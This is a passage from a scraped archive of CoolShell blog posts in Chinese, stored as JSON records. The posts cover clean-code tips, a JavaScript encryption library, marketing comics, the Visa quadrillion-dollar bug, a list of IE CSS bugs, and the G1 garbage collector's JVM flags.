相关的资源站makelinux.net](https://coolshell.cn/articles/194.html)\n* [![iPad进化图](../wp-content/uploads/2010/02/ipad-150x150.jpg)](https://coolshell.cn/articles/2086.html)[iPad进化图](https://coolshell.cn/articles/2086.html)\n* [![图解SQL的Join](../wp-content/uploads/2011/01/Inner_Join-150x150.png)](https://coolshell.cn/articles/3463.html)[图解SQL的Join](https://coolshell.cn/articles/3463.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\nThe post [与Martin Fowler关于敏捷方法的问答](https://coolshell.cn/articles/1113.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-5 整洁代码的4个提示.md",
    "content": "---\nlayout: post\ntitle: 整洁代码的4个提示\ndate: 2009/7/5/ 14:9:1\nupdated: 2009/7/5/ 14:9:1\nstatus: publish\npublished: true\ntype: post\n---\n\n虽然这样的文章非常的多，并且，就算是对于编程新手来说，也是非常的简单和显而见，但是，在我们进行Code Review过程中，我们还是能够看到那些非常混乱的代码，所以，有些时候，你会在想，是不是这样的规则太多了，导致我们的程序员记不住。虽然我们在以前的文章中一遍又一遍的说过（比如：《[优质代码的十诫](https://coolshell.cn/articles/1007.html)》），千言万语总结一下，无论你用什么样的语言，最最基本的编程原则就是下面这四条。\n\n\n\n**1 – 简短的方法**\n\n\n简单才会易读，简单才会容易，简单才能重用，简单才能保证质量。把一件事搞复杂，是一件简单的事；而把一件事变简单，这则是一件复杂的事。KISS-Keep it Simple Stupid是一种哲学，Do one thing, Do it best也是一种哲学。这些都是在告诉我们，做设计，做产品，不要把所有的东西一下子都考虑进来，否则将会让你的事情变成一团糟，剪不断理还乱，就是这样道理。把复杂的事情，困难的事情，逐步细化，分解成一个一个简单而单一的事情，然后再把他们拼装起来完成一个复杂的事情，是我们如何完成一个巨大并复杂的项目的通用方法。\n\n\n编程也是这个道理，维护代码的成本会比你创造代码的成本要大得多，所以，一个简短的方法不但可以有利于阅读，维护，重用，同样在进行排错调试测试的时候也能起到巨大的帮助。比如，对于一个简单的方法或函数，单元测试，功能测试，性能测试、代码覆盖，质量保证都能变得相当简单，而这些众多的质量优良的方法最终组成了那质量过硬的最终产品，并让我们在以后的代码不断改进中继续充当重要的作用。\n\n\n**2 – 选择望文知意的直观的变量名和函数名**\n\n\n无论是变量名还是方法名，都不能太长或是太短。一个好的命名，应该是“自解释的”，直观的，望文知意的。通常来说，一个好的命名应该是知道这个变量/方法要干什么事情，比如GetComputerName()，isAdmin等等，对于变量名来说，通过其名字，我们可以知道这个变量的类型（整型，浮点，指针，……），种类（全局，成员，局部，静态，……）。关于命名的事情，可以查看《[编程命名中的7+1个提示](https://coolshell.cn/articles/1038.html)》和《[编程中的命名设计那点事](https://coolshell.cn/articles/990.html)》查看更多的内容。\n\n\n**3 – 只写有意义的注释**\n\n\n代码写得好的话，是不需要注释的。与其花费大量的时候去写注释，还不如把这些时间花在代码重构上，简洁/易读的代码比详细的注释更有意义。另外，如果你需要使用你的注释来生成文档，那么也不需要太过复杂，这通常用来做API的文档，这个时候，关键不在于你是如何实现的，而是在于告诉别人完成什么样的事并如何使用之。总之，一句话，**如果你的代码足够的简单和清楚，你是不需要写注释的**。  \n\n**4 – 让你的代码可读**\n\n\n你的代码并不只是让编译器去阅读的，你的代码更应该是让你的同事和其它人阅读的。所以，一定要遵守团队内部的那些最中规中矩的编程规范或代码风格，千万不要在代码中使你的小聪明或是偷懒或是hack代码，那样做的结果只会有两个，一个是你的代码会被后人骂得一无是处，另一个就是当你在以后维护你的代码时无异于搬起石头砸了自己的脚。编码坚持最基本的两个原则—— [KISS](http://en.wikipedia.org/wiki/Keep_it_simple_stupid) 和[DRY](http://en.wikipedia.org/wiki/Don%27t_repeat_yourself)，剩下的就是顺从于自然。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\nThe post [整洁代码的4个提示](https://coolshell.cn/articles/1095.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-10 Javascripts加密库.md",
    "content": "---\nlayout: post\ntitle: Javascripts加密库\ndate: 2009/8/10/ 10:16:29\nupdated: 2009/8/10/ 10:16:29\nstatus: publish\npublished: true\ntype: post\n---\n\n一般说来，使用HTTP协议是不加密的，所有的数据都是以纯文本方式提交的，就算是你提交数据时，也是使用纯文本的方式发送。只有HTTPS协议会有SSL加密数据，但一般来说，HTTPS需要服务器端进行SSL设置，并有些麻烦。而jCryption这个jQuery插件能够加密由Forms提交的POST/GET数据。jCryption使用RSA公钥密码算法加密，另外，该项目还提供一个PHP文件来处理数据的解密。\n\n\n[![](../wp-content/uploads/image/javascript-encyrption.jpg \"JCryption\")](http://www.jcryption.org/)\n\n\n\n这个库是一个开源库，也是一个同时使用MIT和GPL协议的项目。\n\n\n你需要注意的是，这个库无法取代SSL，使用这个库，你依然可能受到[MITM攻击](http://en.wikipedia.org/wiki/Man-in-the-middle_attack)（中间人攻击 Man-in-the-middle-attacks）\n\n\n主页：<http://www.jcryption.org/>  \n\n下载：<http://code.google.com/p/jcryption/downloads/list>  \n\n示例：<http://www.jcryption.org/demo/>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/265.html)[深入浅出单实例Singleton设计模式](https://coolshell.cn/articles/265.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/5265.html) [C++11 中值得关注的几大变化（详解）](https://coolshell.cn/articles/5265.html)\n* [![2009年脚本语言排名](../wp-content/uploads/2009/04/overall-150x150.jpg)](https://coolshell.cn/articles/325.html)[2009年脚本语言排名](https://coolshell.cn/articles/325.html)\nThe post [Javascripts加密库](https://coolshell.cn/articles/1231.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-10 几个有趣的漫画.md",
    "content": "---\nlayout: post\ntitle: 几个有趣的漫画\ndate: 2009/8/10/ 10:44:10\nupdated: 2009/8/10/ 10:44:10\nstatus: publish\npublished: true\ntype: post\n---\n\n\n下面的图片告诉你——行销，广告，公关，品牌有什么差别。\n\n\n![](../wp-content/uploads/2009/08/adcompare1.jpg)  \n\n**市场营销**\n\n\n\n![](../wp-content/uploads/2009/08/adcompare2.jpg)  \n\n**公共关系(软文)**\n\n\n![](../wp-content/uploads/2009/08/adcompare3.jpg \"adcompare3\")  \n\n**广告**\n\n\n![](../wp-content/uploads/2009/08/adcompare4.jpg)  \n\n**品牌**\n\n\n那么，Apple，Google和你的公司的差别是什么呢？\n\n\n![](../wp-content/uploads/2009/08/googleproduct.jpg)\n\n\n \n\n\n最后，让我们来看一个“真人版”的眼神跟着鼠标走的FLASH吧，单击下面的图片访问网站：<http://cubo.cc/>\n\n\n[![](../wp-content/uploads/2009/08/flashanimation.jpg)](http://cubo.cc/)\n\n\n \n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/1044.html)[高级Unix命令](https://coolshell.cn/articles/1044.html)\n* [![一个排序算法比较的网站](../wp-content/uploads/2009/04/sort-150x150.jpg)](https://coolshell.cn/articles/399.html)[一个排序算法比较的网站](https://coolshell.cn/articles/399.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/3540.html)[一段Javascript的代码](https://coolshell.cn/articles/3540.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/336.html)[超过100本的linux免费书籍](https://coolshell.cn/articles/336.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/11629.html)[「我只是认真」聊聊工匠情怀](https://coolshell.cn/articles/11629.html)\nThe post [几个有趣的漫画](https://coolshell.cn/articles/1234.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-11 23,148,855,308,184,500.md",
    "content": "---\nlayout: post\ntitle: 23,148,855,308,184,500\ndate: 2009/8/11/ 9:22:10\nupdated: 2009/8/11/ 9:22:10\nstatus: publish\npublished: true\ntype: post\n---\n\n 上个月VISA信用卡出事了，某个美国人在加油站买了一包香烟，于是他的信用卡里就有了标题那个数字的钱“$23,148,855,308,184,500”，注意这可以美刀啊，相当于美国整个国家国债的N倍。\n\n\n程序员们开始疯狂了，他们在stackoverflow.com上开始人肉debug这个问题（[贴子](http://stackoverflow.com/questions/1133581/is-23-148-855-308-184-500-a-magic-number-or-sheer-chance)）。排名第一的回答（564 votes）说，这个数字转成十六进制是：0x2020 2020 2020 1250，很明显，前面的若干个0X20表示的是空格，也就是说，程序错误地处理了空格。于是本回答后的跟贴把这个回答推举成了本年度最牛的debug——”best debug of the year”，后面还有人说这个人应该在NASA工作，继而有人跟贴，应该是VISA而不是NASA……\n\n\n当然，也有人有不同的意见……\n\n\n\n排名第二个贴子(仅有排名第一的零头 67 votes)发表了不同的意见，贴主说，VISA报道说当时全球在那个星期内发生了大约13000起这样的事情，而且，全世界在报道相似的事情（[报道一](http://www.credit.com/news/personal-finance/2009-07-18/customers-see-erroneous-credit-card-charges-of-23-quadrillion.html)，[报道二](http://www.1010wins.com/Visa-Accidentally-Bills-New-York-Teen--23-Quadrill/4867372)），但所有的报道都是相同的数字——23,148,855,308,184,500。如果前面是空格，那么最后的一个字节是，0x1250怎么可能会是一样的呢？所以，他并不认为空格被解释了，他觉得一定是某个地方出错了，并不像一楼所说的那么简单。\n\n\nhttp://img44.imageshack.us/img44/8681/joshmuszynski.jpg\n\n\nhttp://img265.imageshack.us/img265/38/jasonbryant.jpg \n\n\nhttp://img34.imageshack.us/img34/6412/ronseale.jpg\n\n\nhttp://img193.imageshack.us/img193/4076/teenagegirl.jpg  \n\nhttp://www.wasecacountynews.com/files/image/article/full_3335.jpg\n\n\n为什么说这个事呢？主要有两个目的：\n\n\n* 其一、软件总是会有很多Bug要我们去debug，bug的症状并不代表着那就是Bug的原因，但通过Bug的症状推理出Bug的原因，有时候真是很像一个侦探要做的事情，从上面的这个故事中，我们可以看出这样的能力的重要性。要有这样的推理能力，需要有很强的基础知识，以及丰富的经验。\n* 其二、[StackOverflow.com](http://stackoverflow.com/)是一个很不错的类似于“百度知道”但要比其好N倍的与编程相关的站点，相当的不错，你会经常光顾这个站点吗？\n\n\n最后，大家可以看看这个贴子后面的一些人的相法，各种说法都有，包括一个灌水的，来轻松一下：\n\n\nThat’s the exact amount I intend leaving to my children after I’m dead.\n\n\n呵呵。（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![你确信你了解时间吗？](../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png)](https://coolshell.cn/articles/5075.html)[你确信你了解时间吗？](https://coolshell.cn/articles/5075.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/3721.html)[Stack Exchange 的架构](https://coolshell.cn/articles/3721.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2529.html)[StackOverflow的404错误页](https://coolshell.cn/articles/2529.html)\n* [![橡皮鸭程序调试法](../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg)](https://coolshell.cn/articles/1719.html)[橡皮鸭程序调试法](https://coolshell.cn/articles/1719.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1525.html)[GDB 7.0 发布](https://coolshell.cn/articles/1525.html)\nThe post [23,148,855,308,184,500](https://coolshell.cn/articles/1242.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-12 IE的CSS相关的BUG.md",
    "content": "---\nlayout: post\ntitle: IE的CSS相关的BUG\ndate: 2009/8/12/ 10:47:43\nupdated: 2009/8/12/ 10:47:43\nstatus: publish\npublished: true\ntype: post\n---\n\n![ie-bug](../wp-content/uploads/2009/08/ie-bug.jpg \"ie-bug\")这个网页（<http://haslayout.net/css/index>）上例举了所有的IE和CSS相关的BUG。如果你在开发网页的时候，你需要看看。\n\n\n目前，这个网站上包含了 **28 个“普通的Bug”** ， **4 个“布局方面的Bug”** ， **6 个“可以绕开的Bug”** 以及 **1 个“IE崩溃的Bug”**，所有的这些Bug有39个指南和48个解决方法。这个列表目前更新到 **2009年8月11日，19:50:22** \n\n\n下面是所有的bug列表，你可以点击每个BUG名的链接查看更详细的说明。\n\n\n#### 普通Bug\n\n\n这部分 IE 的 bug 是比较普通的无法归到其它种类，或是同时属于多个种类的Bug。\n\n\n\n\n\n| 名称 | IE的版本 | 描述 |\n| --- | --- | --- |\n| [Hover White Background Ignore Bug](http://haslayout.net/css/view?tut=Hover-White-Background-Ignore-Bug \"'Hover White Background Ignore Bug' tutorial\") | IE7 | background 不会因为 :hover而改变 |\n| [IE7 Child Selector Comment Bug](http://haslayout.net/css/view?tut=IE7-Child-Selector-Comment-Bug \"'IE7 Child Selector Comment Bug' tutorial\") | IE7 | 一个 selector 包含了一个子的selector，如果后面跟着一个注释，则会被完全忽略。 |\n| [Star HTML Bug](http://haslayout.net/css/view?tut=Star-HTML-Bug \"'Star HTML Bug' tutorial\") | IE6 | \\* html selector 在 IE6 中没有被忽略 |\n| [IE6 !important Ignore Bug](http://haslayout.net/css/view?tut=IE6--important-Ignore-Bug \"'IE6 !important Ignore Bug' tutorial\") | IE6 | !important 关键字会忽略，如果有相同的属性被设置了 |\n| [PNG Image and Background Color Mismatch](http://haslayout.net/css/view?tut=PNG-Image-and-Background-Color-Mismatch \"'PNG Image and Background Color Mismatch' tutorial\") | IE8 及以下版本 | 背景颜色和指定的图片的颜色不一致。而他们本来是一致的。IE认为这是他一个Feature。太可笑了。 |\n| [No Auto Margin Center Pseudo-Bug](http://haslayout.net/css/view?tut=No-Auto-Margin-Center-Pseudo-Bug \"'No Auto Margin Center Pseudo-Bug' tutorial\") | IE8 及以下版本 | 如果把margins 设置成 `auto` ，IE不会把组件放置在中间的位置。所有的浏览器都会，只有IE不会。 |\n| [:first-line !important Rule Ignore Bug](http://haslayout.net/css/view?tut=-first-line--important-Rule-Ignore-Bug \"':first-line !important Rule Ignore Bug' tutorial\") | IE8 | 如果在伪class :first-line 内使用!important，那么其所有定义会被忽略。 |\n| [:first-letter Ignore Bug](http://haslayout.net/css/view?tut=-first-letter-Ignore-Bug \"':first-letter Ignore Bug' tutorial\") | IE6 | 整个:first-letter 的属性定义会被除数完全忽略。 |\n| [:first-letter !important Rule Ignore Bug](http://haslayout.net/css/view?tut=-first-letter--important-Rule-Ignore-Bug \"':first-letter !important Rule Ignore Bug' tutorial\") | IE8 | 如果在伪class :first-letter内使用!important，那么其所有定义会被忽略。 |\n| [Partial Click Bug v2](http://haslayout.net/css/view?tut=Partial-Click-Bug-v2 \"'Partial Click Bug v2' tutorial\") | IE8以 | 设置了整个区域是可以点击的，但在IE中只有文本可以点击。 |\n| [Staircase Bug](http://haslayout.net/css/view?tut=Staircase-Bug \"'Staircase Bug' tutorial\") | below IE8 | 浮动的元素排序起来就像一个楼梯。 |\n| [Disappearing List Background Bug](http://haslayout.net/css/view?tut=Disappearing-List-Background-Bug \"'Disappearing List Background Bug' tutorial\") | IE6 | B <li>, <dt>, <dd> 没有背景。 |\n| [noscript Ghost Bug](http://haslayout.net/css/view?tut=noscript-Ghost-Bug \"'noscript Ghost Bug' tutorial\") | IE8 and below | <noscript> 标识中只有 borders/background 才有用。 |\n| [No Transparency Click Bug](http://haslayout.net/css/view?tut=No-Transparency-Click-Bug \"'No Transparency Click Bug' tutorial\") | IE8 and below | 背景透明的图片在作为链接时，并且其“filter”被设置成了PNG透明，但其背景还是不可点击。 |\n| [List Drop Shift Bug](http://haslayout.net/css/view?tut=List-Drop-Shift-Bug \"'List Drop Shift Bug' tutorial\") | IE8 | 在<li>中的内容被换行了。 |\n| [No Increase on <ol> Numbers Bug](http://haslayout.net/css/view?tut=No-Increase-on--ol--Numbers-Bug \"'No Increase on <ol> Numbers Bug' tutorial\") | below IE8 | <ol> 中的 <li> 列表序号不会增加。 |\n| [No Bullets on <ul> and <ol> Bug](http://haslayout.net/css/view?tut=No-Bullets-on--ul--and--ol--Bug \"'No Bullets on <ul> and <ol> Bug' tutorial\") | below IE8 | 在<ul> 和 <ol> 中看不到列表序号/数字了。 |\n| [No line-height Vertical Center on Images Bug](http://haslayout.net/css/view?tut=No-line-height-Vertical-Center-on-Images-Bug \"'No line-height Vertical Center on Images Bug' tutorial\") | IE8以下版 | 图片使用line-height 方法不能垂直居中 |\n| [No Background Image Bug](http://haslayout.net/css/view?tut=No-Background-Image-Bug \"'No Background Image Bug' tutorial\") | IE8及以下版 | 在IE中使用background无法定义背景图 |\n| [Custom Cursor Bug](http://haslayout.net/css/view?tut=Custom-Cursor-Bug \"'Custom Cursor Bug' tutorial\") | IE8及以下版 | 自定义鼠标不工作 |\n| [Leaking Background Bug](http://haslayout.net/css/view?tut=Leaking-Background-Bug \"'Leaking Background Bug' tutorial\") | IE6 | 背景从一个元件的内部溢出到外部 |\n| [Expanding Height Bug](http://haslayout.net/css/view?tut=Expanding-Height-Bug \"'Expanding Height Bug' tutorial\") | IE6 | 元件的高度比指定的要长得多。 |\n| [Expanding Width Bug](http://haslayout.net/css/view?tut=Expanding-Width-Bug \"'Expanding Width Bug' tutorial\") | IE6 | 元件的宽度比指定的要长得多。 |\n| [Double Margin Bug](http://haslayout.net/css/view?tut=Double-Margin-Bug \"'Double Margin Bug' tutorial\") | IE6 | float元件的左和右的空白（margins）被加倍了。 |\n| [Negative Margin Bug](http://haslayout.net/css/view?tut=Negative-Margin-Bug \"'Negative Margin Bug' tutorial\") | IE8以下版 | 如果使用负数来指定页白（margins）里面的元件会被外面的元件所遮挡。 |\n| [Italics Float Bug](http://haslayout.net/css/view?tut=Italics-Float-Bug \"'Italics Float Bug' tutorial\") | IE6 | float的元件中的字体会被设置成倾斜。 |\n| [3px Gap Bug aka Text Jog Bug](http://haslayout.net/css/view?tut=3px-Gap-Bug-aka-Text-Jog-Bug \"'3px Gap Bug aka Text Jog Bug' tutorial\") | IE6 | 下一个float的元件不是有一个3px的空隙，就是被换行了。 |\n| [Text-Align Bug](http://haslayout.net/css/view?tut=Text-Align-Bug \"'Text-Align Bug' tutorial\") | IE8以下版 | text-align属性会影响整个元件内的所有内容。 |\n\n\n#### 布局类 Bug\n\n\n\n\n\n| 名称 | IE的版本 | 描述 |\n| --- | --- | --- |\n| [Border Chaos Bug](http://haslayout.net/css/view?tut=Border-Chaos-Bug \"'Border Chaos Bug' tutorial\") | IE6 | 连框显示是混乱的 |\n| [Sub-Hover Bug](http://haslayout.net/css/view?tut=Sub-Hover-Bug \"'Sub-Hover Bug' tutorial\") | IE6 | 一些selectors 如 a:hover foo{} 无法正常工作 |\n| [Partial Click Bug](http://haslayout.net/css/view?tut=Partial-Click-Bug \"'Partial Click Bug' tutorial\") | IE6 | 在定义了display: block的链接中(<a>) 只有文本是可以点的。 |\n| [Disappearing Content Bug](http://haslayout.net/css/view?tut=Disappearing-Content-Bug \"'Disappearing Content Bug' tutorial\") | IE6 | 当我们滚动窗口的时候，或是最大化最小化窗品的时候，有一些内容会重复显示。 |\n\n\n#### 不支持的功能\n\n\n\n\n| 名称 | IE的版本 | 描述 |\n| --- | --- | --- |\n| [No Child Selector Support Workaround](http://haslayout.net/css/view?tut=No-Child-Selector-Support-Workaround \"'No Child Selector Support Workaround' tutorial\") | IE6 | 子 selector 无效 |\n| [Max-Height Workaround](http://haslayout.net/css/view?tut=Max-Height-Workaround \"'Max-Height Workaround' tutorial\") | IE6 | max-height 无效 |\n| [Max-Width Workaround](http://haslayout.net/css/view?tut=Max-Width-Workaround \"'Max-Width Workaround' tutorial\") | IE6 | max-width 无效 |\n| [Opacity](http://haslayout.net/css/view?tut=Opacity \"'Opacity' tutorial\") | IE8及以下版 | opacity 属性无效 |\n| [Min-Width Workaround](http://haslayout.net/css/view?tut=Min-Width-Workaround \"'Min-Width Workaround' tutorial\") | IE6 | min-width 属性无效 |\n| [Min-Height Workaround](http://haslayout.net/css/view?tut=Min-Height-Workaround \"'Min-Height Workaround' tutorial\") | IE6 | min-height 属性无效 |\n\n\n#### 程序崩溃 Bug\n\n\n这个BUG可以导致整个 IE 崩溃。\n\n\n\n\n| 名称 | IE的版本 | 描述 |\n| --- | --- | --- |\n| [Hover Crash Bug](http://haslayout.net/css/view?tut=Hover-Crash-Bug \"'Hover Crash Bug' tutorial\") | IE6 | 当你把鼠标移上 :hover 的链接时，浏览器会崩溃 |\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![做个环保主义的程序员](../wp-content/uploads/2012/04/Green-Computing-150x150.jpg)](https://coolshell.cn/articles/7186.html)[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/6913.html)[神奇的CSS形状](https://coolshell.cn/articles/6913.html)\nThe post [IE的CSS相关的BUG](https://coolshell.cn/articles/1245.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-13 G1新型垃圾回收器一瞥.md",
    "content": "---\nlayout: post\ntitle: G1新型垃圾回收器一瞥\ndate: 2009/8/13/ 13:54:26\nupdated: 2009/8/13/ 13:54:26\nstatus: publish\npublished: true\ntype: post\n---\n\n\n#### G1垃圾回收器\n\n\n“G1垃圾回收”的英文全称是 *Garbage-First Garbage Collector* （又被称作G1 GC），这是一个新型的垃圾回收器，由JDK 7中的Java HotSpot VM 引入。这个技术曾经在Java SE 6 Update 14版本中出现过一个试验性的，然后 G1 被 HotSpot的 反应快速（low-latency）的 *Concurrent Mark-Sweep* GC （简称 *CMS*）长期取代。\n\n\n#### 属性\n\n\nG1 是一个“服务器风格（server-style）”的垃圾回收器，它主要有下面的这些属性：\n\n\n\n* **并行和并发。** G1 可以从今天最新的硬件中获得并行的能力。它能够使用所有可用的CPU（CPU多核，硬件多线程，等）来加速它的 “stop-the-world” 机制（这个机制简称STW，即，在执行垃圾收集算法时，Java应用程序的其他所有除了垃圾收集帮助器线程之外的线程都被挂起）。\n* **分代处理。** 就像其它的HotSpot 垃圾回收器，G1 是分代的，也就是说，它在处理新分配的对象（年轻代）和已经生存了一段时间的对象（年老代）时会不同，它会更多地考虑一些新创建的对象实例，因为越新创建的就越有最大的可能性被回收，老对象只是偶尔访问一下。对于大多数的Java应用来说，这个机制可以极大地提高回收效率。\n* **紧凑内存（碎片整理）。** 不像CMS，G1 会对堆进行内存整理。压缩可以消除潜在的内存碎片的问题，这样程序就可以更长时间的平滑运行。\n* **预见性的。** G1 比起 CMS 来有更多的预见性。这个主要还是用来消除内存碎片的问题。内存的碎片少了，Stop-the-World的暂停时间也会被减少。\n\n\n#### 描述\n\n\n比起其它的HotSpot 垃圾回收器来说，G1 使用了一种非常不同寻常的方法来管理堆内存的布局。在G1中，在对象新生代和老一代上没有在物理上把他们分隔开来。取而代之的是，它把一个连续的堆内存拆分成了几个相同大小的区域。新产生的对象和老的对象都会被放在一系列可能不会连续的区域中。之所以这样做，就是为了让G1可以更灵活地移动老对象所占用的资源给新的对象。\n\n\nG1中的内存收集会发生 “疏散暂停”，当内存从一系例区域开始回收时，这些区域所引用的 *collection set* 会被疏散到另一些区域中，这样，我们会有一整块的内存来重新被申请。疏散会发生整个程序的暂停，但“疏散”这些内存可以被并行运行，当然，你要有多核或多线程技术来支持。绝大多数的“疏散暂停”会去收集那些可用的比较新的内存区域，因此，这和其它的 HotSpot 垃圾回收器是相同的。偶而才会去查看一下老区域中的内存是否可以回收。\n\n\n在 CMS中，其周期性的执行一个 *concurrent marking phase*。 这个phase中最主要的事情是，识别哪些老的区域中充满了可以回收的对象，因为这是最有效率和最合适的回收。但在G1中，G1不会执行那个所谓的 *concurrent sweeping phase*， 取而代之的是，去识别那些的最合适的老的区域是在并发的“疏散暂停”中进行的（后面会做介绍）。\n\n\n#### 使用 G1\n\n\nG1 目前仍然还在试验阶段，使用下面两个参数可以打开G1机制：\n\n\n`-XX:+UnlockExperimentalVMOptions -XX:+UseG1GC`\n\n\n下面是设置垃圾回收器的暂停时间：\n\n\n`-XX:MaxGCPauseMillis =50` (设置暂停时间为 50ms)\n\n\n在G1中，你还可以给垃圾回收器的暂停设置一个时间间隔：\n\n\n`-XX:GCPauseIntervalMillis =200` (设置暂停时间间隔 200ms)\n\n\n注意，上面的两个参数只是代表目标，回收器并不保证。他们可能在某些情况下工作地很好，也可能在其它情况下不行，所以，垃圾回收器并不总是服从这两个参数设置。\n\n\n另外，新生代的内存大小可以被设置，这个参数同样会影响“疏散暂停”的时间：\n\n\n`-XX:+G1YoungGenSize=512m` (设置新生代内存为 512兆字节)\n\n\nG1 同样可以使用survivor 空间，是的，这就是多少个区域。大小可以由通用的参数所指定(如： `-XX:SurvivorRatio=6`).\n\n\n最后，如果你要发挥G1的所有潜能，你可以尝试设置下面两个参数，它们默认上是关闭的，因为在一些很稀有的情况下，这两个参数会发生race condition（竞争条件）:\n\n\n`-XX:+G1ParallelRSetUpdatingEnabled  \n\n-XX:+G1ParallelRSetScanningEnabled`\n\n\n还有一件事是G1能够报告比其它垃圾回收站更详细的信息，当然，你需要设置下面这个参数：\n\n\n `-XX:+PrintGCDetails`\n\n\n这个参数会输出很多有用的信息供你查看性能与以 trouble-shooting。如果你想要简单的日志，你可以把这个开关设置到 